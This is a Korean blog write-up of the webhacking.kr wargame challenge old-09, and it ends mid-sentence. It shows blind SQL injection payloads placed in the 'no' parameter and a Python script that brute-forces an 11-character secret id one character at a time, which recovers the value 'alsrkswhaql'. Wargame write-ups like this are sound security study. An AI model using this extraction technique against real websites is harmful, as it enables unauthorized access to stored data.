김승현

[webhacking.kr] old-09 9번 문제 write up 본문

Web/webhacking.kr

[webhacking.kr] old-09 9번 문제 write up

kshind 2023. 3. 31. 18:06

접속하면 이렇게 생겼다.

1번을 누르면 apple

2번은 바나나

3번은 Secret이다. column으로 id와 no가 있다는 걸 보면 sqli와 관련이 있어보인다.

password에 입력해봤는데 pw파라미터로 입력되는 걸 알 수 있었고 숫자는 no 파라미터인 걸 알 수 있다. 처음엔

password에 시도를 계속 해봤는데 딱히 변하는 게 없었다.

password는 아마 secret의 id 값을 입력하는 데인 것 같은데 입력이 11자로 제한된 걸 보니 id가 11자리 문자열인 것 같다.

no파라미터에 length(5)라는 값을 입력했는데 apple이 뜨는 걸로 봐선 여기에 sqli를 시도하면 될 것 같다.

if(length(id)like(11),3,0)

이렇게 입력해줬다. 만약 id의 길이가 11이면 no=3이 되고, 아니면 1이 되어 아무것도 뜨지 않게 했다. 길이부터 확인을

해봤는데 아까 봤듯이 11자리인 걸 알 수 있다. 이제 각 자리의 값들을 알아내보자.

if(substr(id,1,1)like(0x61),3,0)

이런 식으로 substr을 이용해서 한 자리 한 자리 확인하고 일치한다면 secret을 띄우게 하면 알아낼 수 있다.

간편하게 하기 위해 python 코드를 작성해보았다.

import requests

url ="https://webhacking.kr/challenge/web-09/index.php?no="
cookie = {
    "PHPSESSID" : "본인의 세션값"
}
password=""
for i in range(1, 12):
    for j in range(60,127):
        param=f"if(substr(id,{i},1)like({hex(j)}),3,0)"
        print(url+param)
        uri=url+param
        res = requests.get(uri,cookies=cookie)
        if "Secret" in res.text:
            print (f"{i}번째는 {chr(j)}")
            password += chr(j)
            break

print(password)

이렇게 가볍게 작성해봤고

이렇게 alsrkswhaql이라는 값이 나왔다.(민간좀비)

이렇게 입력해주면